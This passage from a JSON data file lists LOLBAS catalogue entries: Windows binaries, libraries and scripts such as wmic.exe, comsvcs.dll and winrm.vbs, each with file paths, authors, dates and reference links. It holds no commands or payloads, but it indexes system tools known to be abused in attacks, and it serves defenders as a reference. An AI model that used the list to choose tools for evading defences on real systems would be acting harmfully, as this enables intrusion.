@monoxgas"],"references":["https://lolbas-project.github.io/lolbas/Binaries/SyncAppvPublishingServer/"],"count":1},{"id":"lolbas:tar-exe","name":"Tar.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\tar.exe","C:\\Windows\\SysWOW64\\tar.exe"],"author":"Brian Lucero","created":"2023-01-30T00:00:00.000Z","contributors":["Brian Lucero @Cyber_Sorcery","Avester Fahimipour"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Tar/"],"count":3},{"id":"lolbas:ttdinject-exe","name":"Ttdinject.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\ttdinject.exe","C:\\Windows\\Syswow64\\ttdinject.exe"],"author":"Maxime Nadeau","created":"2020-05-12T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe","Maxime Nadeau @m_nad0"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/"],"count":2},{"id":"lolbas:tttracer-exe","name":"Tttracer.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\tttracer.exe","C:\\Windows\\SysWOW64\\tttracer.exe"],"author":"Oddvar Moe","created":"2019-11-05T00:00:00.000Z","contributors":["Onur Ulusoy @oulusoyum","Matt Graeber @mattifestation"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Tttracer/"],"count":2},{"id":"lolbas:unregmp2-exe","name":"Unregmp2.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\unregmp2.exe","C:\\Windows\\SysWOW64\\unregmp2.exe"],"author":"Wade Hickey","created":"2021-12-06T00:00:00.000Z","contributors":["Wade Hickey @notwhickey"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Unregmp2/"],"count":1},{"id":"lolbas:vbc-exe","name":"vbc.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe","C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.exe","C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\vbc.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\vbc.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\vbc.exe"],"author":"Lior Adar","created":"2020-02-27T00:00:00.000Z","contributors":["Lior Adar","Hai Vaknin(Lux)"],"references":["https://lolbas-project.github.io/lolbas/Binaries/vbc/"],"count":2},{"id":"lolbas:verclsid-exe","name":"Verclsid.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\verclsid.exe","C:\\Windows\\SysWOW64\\verclsid.exe"],"author":"@bohops","created":"2018-12-04T00:00:00.000Z","contributors":["Nick Tyrer @NickTyrer"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Verclsid/"],"count":1},{"id":"lolbas:vssadmin-exe","name":"Vssadmin.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\vssadmin.exe"],"author":"mmadersbacher","created":"2026-08-16T00:00:00.000Z","contributors":[],"references":["https://lolbas-project.github.io/lolbas/Binaries/Vssadmin/"],"count":1},{"id":"lolbas:wab-exe","name":"Wab.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Program Files\\Windows Mail\\wab.exe","C:\\Program Files (x86)\\Windows Mail\\wab.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Adam @Hexacorn"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Wab/"],"count":1},{"id":"lolbas:wbadmin-exe","name":"wbadmin.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\wbadmin.exe"],"author":"Chris Eastwood","created":"2024-04-05T00:00:00.000Z","contributors":[],"references":["https://lolbas-project.github.io/lolbas/Binaries/wbadmin/"],"count":2},{"id":"lolbas:wbemtest-exe","name":"wbemtest.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\wbem\\wbemtest.exe"],"author":"saulpanders","created":"2025-04-22T00:00:00.000Z","contributors":["Paul Sanders @saulpanders"],"references":["https://lolbas-project.github.io/lolbas/Binaries/wbemtest/"],"count":1},{"id":"lolbas:winget-exe","name":"winget.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Users\\user\\AppData\\Local\\Microsoft\\WindowsApps\\winget.exe"],"author":"Paul Sanders","created":"2022-01-03T00:00:00.000Z","contributors":["Paul @saulpanders","Konrad 'unrooted' Klawikowski","Fredrik H. Brathen"],"references":["https://lolbas-project.github.io/lolbas/Binaries/winget/"],"count":3},{"id":"lolbas:wlrmdr-exe","name":"Wlrmdr.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\wlrmdr.exe"],"author":"Moshe Kaplan","created":"2022-02-16T00:00:00.000Z","contributors":["Grzegorz Tworek @0gtweet","Oddvar Moe @Oddvarmoe","Freddy @falsneg"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Wlrmdr/"],"count":1},{"id":"lolbas:wmic-exe","name":"Wmic.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\wbem\\wmic.exe","C:\\Windows\\SysWOW64\\wbem\\wmic.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee","Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Wmic/"],"count":7},{"id":"lolbas:workfolders-exe","name":"WorkFolders.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\WorkFolders.exe"],"author":"Elliot Killick","created":"2021-08-16T00:00:00.000Z","contributors":["John Carroll @YoSignals","Elliot Killick @elliotkillick","Naor Evgi @ghosts621"],"references":["https://lolbas-project.github.io/lolbas/Binaries/WorkFolders/"],"count":2},{"id":"lolbas:wscript-exe","name":"Wscript.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\wscript.exe","C:\\Windows\\SysWOW64\\wscript.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe","SaiLay(valen) @404death"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Wscript/"],"count":2},{"id":"lolbas:wsreset-exe","name":"Wsreset.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\wsreset.exe"],"author":"Oddvar Moe","created":"2019-03-18T00:00:00.000Z","contributors":["Hashim Jawad @ihack4falafel"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Wsreset/"],"count":1},{"id":"lolbas:wuauclt-exe","name":"wuauclt.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\wuauclt.exe","C:\\Windows\\UUS\\amd64\\wuauclt.exe"],"author":"David Middlehurst","created":"2020-09-23T00:00:00.000Z","contributors":["David Middlehurst @dtmsecurity"],"references":["https://lolbas-project.github.io/lolbas/Binaries/wuauclt/"],"count":1},{"id":"lolbas:xwizard-exe","name":"Xwizard.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\xwizard.exe","C:\\Windows\\SysWOW64\\xwizard.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Adam @Hexacorn","Nick Tyrer @NickTyrer","harr0ey @harr0ey","Wade Hickey @notwhickey"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Xwizard/"],"count":3},{"id":"lolbas:msedge-proxy-exe","name":"msedge_proxy.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_proxy.exe"],"author":"Mert Daş","created":"2023-08-18T00:00:00.000Z","contributors":["Mert Daş @merterpreter"],"references":["https://lolbas-project.github.io/lolbas/Binaries/msedge_proxy/"],"count":2},{"id":"lolbas:msedgewebview2-exe","name":"msedgewebview2.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\114.0.1823.43\\msedgewebview2.exe","C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\131.0.2903.70\\msedgewebview2.exe"],"author":"Matan Bahar","created":"2023-06-15T00:00:00.000Z","contributors":["Uriel Kosayev @MalFuzzer","Hai Vaknin @VakninHai","Tamir Yehuda @Tamirye94","Matan Bahar @Bl4ckShad3"],"references":["https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/"],"count":4},{"id":"lolbas:odbcad32-exe","name":"odbcad32.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\odbcad32.exe","c:\\windows\\syswow64\\odbcad32.exe"],"author":"Ekitji","created":"2025-09-04T00:00:00.000Z","contributors":["amonitoring","Ekitji @eki_erk"],"references":["https://lolbas-project.github.io/lolbas/Binaries/odbcad32/"],"count":1},{"id":"lolbas:setupugc-exe","name":"setupugc.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\setupugc.exe","C:\\Windows\\SysWOW64\\setupugc.exe"],"author":"Ang Kar Min","created":"2026-04-20T00:00:00.000Z","contributors":["Ang Kar Min @karminang"],"references":["https://lolbas-project.github.io/lolbas/Binaries/setupugc/"],"count":2},{"id":"lolbas:write-exe","name":"write.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\write.exe","C:\\Windows\\System32\\write.exe","C:\\Windows\\SysWOW64\\write.exe"],"author":"Michal Belzak","created":"2025-06-17T00:00:00.000Z","contributors":["Michal Belzak"],"references":["https://lolbas-project.github.io/lolbas/Binaries/write/"],"count":1},{"id":"lolbas:wt-exe","name":"wt.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Program Files\\WindowsApps\\Microsoft.WindowsTerminal_<version_packageid>\\wt.exe"],"author":"Nasreddine Bencherchali","created":"2022-07-27T00:00:00.000Z","contributors":["Nasreddine Bencherchali @nas_bench"],"references":["https://lolbas-project.github.io/lolbas/Binaries/wt/"],"count":1},{"id":"lolbas:advpack-dll","name":"Advpack.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\advpack.dll","c:\\windows\\syswow64\\advpack.dll"],"author":"LOLBAS Team","created":"2018-05-25T00:00:00.000Z","contributors":["Jimmy (LaunchINFSection) @bohops","Fabrizio (RegisterOCX - DLL) @0rbz_","Moriarty (RegisterOCX - CMD) @moriarty_meng","Nick Carr (Threat Intel) @ItsReallyNick"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Advpack/"],"count":5},{"id":"lolbas:desk-cpl","name":"Desk.cpl","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["C:\\Windows\\System32\\desk.cpl","C:\\Windows\\SysWOW64\\desk.cpl"],"author":"Hai Vaknin","created":"2022-04-21T00:00:00.000Z","contributors":["Rafael S Marques @pegabizu","Pierre-Alexandre Braeken @pabraeken","hai @VakninHai","Christopher Peacock @SecurePeacock","Jose Luis Sanchez @Joseliyo_Jstnk"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Desk/"],"count":2},{"id":"lolbas:dfshim-dll","name":"Dfshim.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Dfsvc.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Dfsvc.exe","C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Dfsvc.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Dfsvc.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Dfshim/"],"count":1},{"id":"lolbas:ieadvpack-dll","name":"Ieadvpack.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\ieadvpack.dll","c:\\windows\\syswow64\\ieadvpack.dll"],"author":"LOLBAS Team","created":"2018-05-25T00:00:00.000Z","contributors":["Jimmy (LaunchINFSection) @bohops","Fabrizio (RegisterOCX - DLL) @0rbz_","Pierre-Alexandre Braeken (RegisterOCX - CMD) @pabraeken"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Ieadvpack/"],"count":5},{"id":"lolbas:ieframe-dll","name":"Ieframe.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\ieframe.dll","c:\\windows\\syswow64\\ieframe.dll"],"author":"LOLBAS Team","created":"2018-05-25T00:00:00.000Z","contributors":["Jimmy @bohops","Adam @hexacorn"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Ieframe/"],"count":1},{"id":"lolbas:mshtml-dll","name":"Mshtml.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\mshtml.dll","c:\\windows\\syswow64\\mshtml.dll"],"author":"LOLBAS Team","created":"2018-05-25T00:00:00.000Z","contributors":["Pierre-Alexandre Braeken @pabraeken"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Mshtml/"],"count":1},{"id":"lolbas:pcwutl-dll","name":"Pcwutl.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\pcwutl.dll","c:\\windows\\syswow64\\pcwutl.dll"],"author":"LOLBAS Team","created":"2018-05-25T00:00:00.000Z","contributors":["Matt harr0ey @harr0ey"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/"],"count":1},{"id":"lolbas:photoviewer-dll","name":"PhotoViewer.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll","C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll"],"author":"Avihay Eldad","created":"2025-06-22T00:00:00.000Z","contributors":["Avihay Eldad @avihayeldad","Tommy Warren"],"references":["https://lolbas-project.github.io/lolbas/Libraries/PhotoViewer/"],"count":1},{"id":"lolbas:scrobj-dll","name":"Scrobj.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\scrobj.dll","c:\\windows\\syswow64\\scrobj.dll"],"author":"Eral4m","created":"2021-01-07T00:00:00.000Z","contributors":["Eral4m @eral4m"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Scrobj/"],"count":1},{"id":"lolbas:setupapi-dll","name":"Setupapi.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\setupapi.dll","c:\\windows\\syswow64\\setupapi.dll"],"author":"LOLBAS Team","created":"2018-05-25T00:00:00.000Z","contributors":["Kyle Hanslovan (COM Scriptlet) @KyleHanslovan","Huntress Labs (COM Scriptlet) @HuntressLabs","Casey Smith (COM Scriptlet) @subTee","Nick Carr (Threat Intel) @ItsReallyNick"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Setupapi/"],"count":2},{"id":"lolbas:shdocvw-dll","name":"Shdocvw.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\shdocvw.dll","c:\\windows\\syswow64\\shdocvw.dll"],"author":"LOLBAS Team","created":"2018-05-25T00:00:00.000Z","contributors":["Adam @hexacorn","Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Shdocvw/"],"count":1},{"id":"lolbas:shell32-dll","name":"Shell32.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\shell32.dll","c:\\windows\\syswow64\\shell32.dll"],"author":"LOLBAS Team","created":"2018-05-25T00:00:00.000Z","contributors":["Adam (Control_RunDLL, Control_RunDLLNoFallback) @hexacorn","Pierre-Alexandre Braeken (ShellExec_RunDLL) @pabraeken","Matt Graeber (ShellExec_RunDLL) @mattifestation","Kyle Hanslovan (ShellExec_RunDLL) @KyleHanslovan"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Shell32/"],"count":4},{"id":"lolbas:shimgvw-dll","name":"Shimgvw.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\shimgvw.dll","c:\\windows\\syswow64\\shimgvw.dll"],"author":"Eral4m","created":"2021-01-06T00:00:00.000Z","contributors":["Eral4m @eral4m"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Shimgvw/"],"count":1},{"id":"lolbas:syssetup-dll","name":"Syssetup.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\syssetup.dll","c:\\windows\\syswow64\\syssetup.dll"],"author":"LOLBAS Team","created":"2018-05-25T00:00:00.000Z","contributors":["Pierre-Alexandre Braeken (Execute) @pabraeken","Matt harr0ey (Execute) @harr0ey","Jimmy (Scriptlet) @bohops"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Syssetup/"],"count":2},{"id":"lolbas:url-dll","name":"Url.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\url.dll","c:\\windows\\syswow64\\url.dll"],"author":"LOLBAS Team","created":"2018-05-25T00:00:00.000Z","contributors":["Adam (OpenURL) @hexacorn","Jimmy (OpenURL) @bohops","Malwrologist (FileProtocolHandler - HTA) @DissectMalware","r0lan (Obfuscation) @r0lan"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Url/"],"count":6},{"id":"lolbas:zipfldr-dll","name":"Zipfldr.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\zipfldr.dll","c:\\windows\\syswow64\\zipfldr.dll"],"author":"LOLBAS Team","created":"2018-05-25T00:00:00.000Z","contributors":["Moriarty (Execution) @moriarty_meng","r0lan (Obfuscation) @r0lan"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/"],"count":2},{"id":"lolbas:comsvcs-dll","name":"Comsvcs.dll","source":"LOLBAS","platform":["Windows"],"toolType":"Library","aliases":[],"fullPath":["c:\\windows\\system32\\comsvcs.dll"],"author":"LOLBAS Team","created":"2019-08-30T00:00:00.000Z","contributors":["modexp"],"references":["https://lolbas-project.github.io/lolbas/Libraries/Comsvcs/"],"count":1},{"id":"lolbas:cl-loadassembly-ps1","name":"CL_LoadAssembly.ps1","source":"LOLBAS","platform":["Windows"],"toolType":"Script","aliases":[],"fullPath":["C:\\Windows\\diagnostics\\system\\Audio\\CL_LoadAssembly.ps1"],"author":"Jimmy (@bohops)","created":"2021-09-26T00:00:00.000Z","contributors":["Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/"],"count":1},{"id":"lolbas:cl-mutexverifiers-ps1","name":"CL_Mutexverifiers.ps1","source":"LOLBAS","platform":["Windows"],"toolType":"Script","aliases":[],"fullPath":["C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Mutexverifiers.ps1","C:\\Windows\\diagnostics\\system\\Audio\\CL_Mutexverifiers.ps1","C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Mutexverifiers.ps1","C:\\Windows\\diagnostics\\system\\Video\\CL_Mutexverifiers.ps1","C:\\Windows\\diagnostics\\system\\Speech\\CL_Mutexverifiers.ps1"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Pierre-Alexandre Braeken @pabraeken"],"references":["https://lolbas-project.github.io/lolbas/Scripts/CL_Mutexverifiers/"],"count":1},{"id":"lolbas:cl-invocation-ps1","name":"CL_Invocation.ps1","source":"LOLBAS","platform":["Windows"],"toolType":"Script","aliases":[],"fullPath":["C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1","C:\\Windows\\diagnostics\\system\\Audio\\CL_Invocation.ps1","C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Invocation.ps1"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Jimmy @bohops","Pierre-Alexandre Braeken @pabraeken"],"references":["https://lolbas-project.github.io/lolbas/Scripts/CL_Invocation/"],"count":1},{"id":"lolbas:launch-vsdevshell-ps1","name":"Launch-VsDevShell.ps1","source":"LOLBAS","platform":["Windows"],"toolType":"Script","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\Tools\\Launch-VsDevShell.ps1","C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\Tools\\Launch-VsDevShell.ps1"],"author":"Nasreddine Bencherchali","created":"2022-06-13T00:00:00.000Z","contributors":["Nasreddine Bencherchali @nas_bench"],"references":["https://lolbas-project.github.io/lolbas/Scripts/Launch-VsDevShell/"],"count":2},{"id":"lolbas:manage-bde-wsf","name":"Manage-bde.wsf","source":"LOLBAS","platform":["Windows"],"toolType":"Script","aliases":[],"fullPath":["C:\\Windows\\System32\\manage-bde.wsf"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Jimmy @bohops","Daniel Bohannon @danielbohannon","John Lambert @JohnLaTwC"],"references":["https://lolbas-project.github.io/lolbas/Scripts/Manage-bde.wsf/"],"count":2},{"id":"lolbas:pubprn-vbs","name":"Pubprn.vbs","source":"LOLBAS","platform":["Windows"],"toolType":"Script","aliases":[],"fullPath":["C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs","C:\\Windows\\SysWOW64\\Printing_Admin_Scripts\\en-US\\pubprn.vbs"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Matt Nelson @enigma0x3"],"references":["https://lolbas-project.github.io/lolbas/Scripts/Pubprn/"],"count":1},{"id":"lolbas:syncappvpublishingserver-vbs","name":"Syncappvpublishingserver.vbs","source":"LOLBAS","platform":["Windows"],"toolType":"Script","aliases":[],"fullPath":["C:\\Windows\\System32\\SyncAppvPublishingServer.vbs"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Nick Landers @monoxgas","Casey Smith @subtee"],"references":["https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/"],"count":1},{"id":"lolbas:utilityfunctions-ps1","name":"UtilityFunctions.ps1","source":"LOLBAS","platform":["Windows"],"toolType":"Script","aliases":[],"fullPath":["C:\\Windows\\diagnostics\\system\\Networking\\UtilityFunctions.ps1"],"author":"Jimmy (@bohops)","created":"2021-09-26T00:00:00.000Z","contributors":["Nick VanGilder @nickvangilder"],"references":["https://lolbas-project.github.io/lolbas/Scripts/UtilityFunctions/"],"count":1},{"id":"lolbas:winrm-vbs","name":"winrm.vbs","source":"LOLBAS","platform":["Windows"],"toolType":"Script","aliases":[],"fullPath":["C:\\Windows\\System32\\winrm.vbs","C:\\Windows\\SysWOW64\\winrm.vbs"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Matt Graeber @mattifestation","Matt Nelson @enigma0x3","Casey Smith @subtee","Jimmy @bohops","Red Canary Company cc Tony Lambert @redcanaryco"],"references":["https://lolbas-project.github.io/lolbas/Scripts/winrm/"],"count":3},{"id":"lolbas:pester-bat","name":"Pester.bat","source":"LOLBAS","platform":["Windows"],"toolType":"Script","aliases":[],"fullPath":["c:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\<VERSION>\\bin\\Pester.bat"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Emin Atac @p0w3rsh3ll","Stamatis Chatzimangou @_st0pp3r_"],"references":["https://lolbas-project.github.io/lolbas/Scripts/Pester/"],"count":2},{"id":"lolbas:acccheckconsole-exe","name":"AccCheckConsole.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\x86\\AccChecker\\AccCheckConsole.exe","C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\x64\\AccChecker\\AccCheckConsole.exe","C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\arm\\AccChecker\\AccCheckConsole.exe","C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\arm64\\AccChecker\\AccCheckConsole.exe"],"author":"bohops","created":"2022-01-02T00:00:00.000Z","contributors":["Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/"],"count":2},{"id":"lolbas:adplus-exe","name":"adplus.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\adplus.exe","C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\adplus.exe"],"author":"mr.d0x","created":"2021-09-01T00:00:00.000Z","contributors":["mr.d0x @mrd0x","Nasreddine Bencherchali @nas_bench"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/adplus/"],"count":4},{"id":"lolbas:agentexecutor-exe","name":"AgentExecutor.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Intune Management Extension\\AgentExecutor.exe"],"author":"Eleftherios Panos","created":"2020-07-23T00:00:00.000Z","contributors":["Eleftherios Panos @lefterispan"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/AgentExecutor/"],"count":2},{"id":"lolbas:applauncher-exe","name":"AppLauncher.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Windows Kits\\10\\Microsoft User Experience Virtualization\\Management\\AppLauncher.exe","C:\\Program Files (x86)\\Windows Kits\\10\\Microsoft User Experience Virtualization\\Management\\AppLauncher.exe"],"author":"Avihay Eldad","created":"2025-09-21T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/AppLauncher/"],"count":1},{"id":"lolbas:appcert-exe","name":"AppCert.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Windows Kits\\10\\App Certification Kit\\appcert.exe","C:\\Program Files\\Windows Kits\\10\\App Certification Kit\\appcert.exe"],"author":"Avihay Eldad","created":"2024-03-06T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/AppCert/"],"count":2},{"id":"lolbas:appvlp-exe","name":"Appvlp.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Office\\root\\client\\appvlp.exe","C:\\Program Files (x86)\\Microsoft Office\\root\\client\\appvlp.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["fab @0rbz_","Will @moo_hax","Matt Wilson @enigma0x3"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/"],"count":2},{"id":"lolbas:bcp-exe","name":"Bcp.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft SQL Server\\Client SDK\\ODBC\\170\\Tools\\Binn\\bcp.exe","C:\\Program Files\\Microsoft SQL Server\\Client SDK\\ODBC\\130\\Tools\\Binn\\bcp.exe","C:\\Program Files\\Microsoft SQL Server\\Client SDK\\ODBC\\110\\Tools\\Binn\\bcp.exe","C:\\Program Files (x86)\\Microsoft SQL Server\\Client SDK\\ODBC\\170\\Tools\\Binn\\bcp.exe","C:\\Program Files (x86)\\Microsoft SQL Server\\Client SDK\\ODBC\\130\\Tools\\Binn\\bcp.exe","C:\\Program Files (x86)\\Microsoft SQL Server\\Client SDK\\ODBC\\110\\Tools\\Binn\\bcp.exe","C:\\Program Files (x86)\\Microsoft SQL Server\\120\\Tools\\Binn\\bcp.exe"],"author":"Mahir Ali Khan","created":"2025-11-13T00:00:00.000Z","contributors":["Mahir Ali Khan @mahiralikhan07"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bcp/"],"count":1},{"id":"lolbas:bginfo-exe","name":"Bginfo.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["no default"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/"],"count":6},{"id":"lolbas:cdb-exe","name":"Cdb.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\cdb.exe","C:\\Program Files (x86)\\Windows 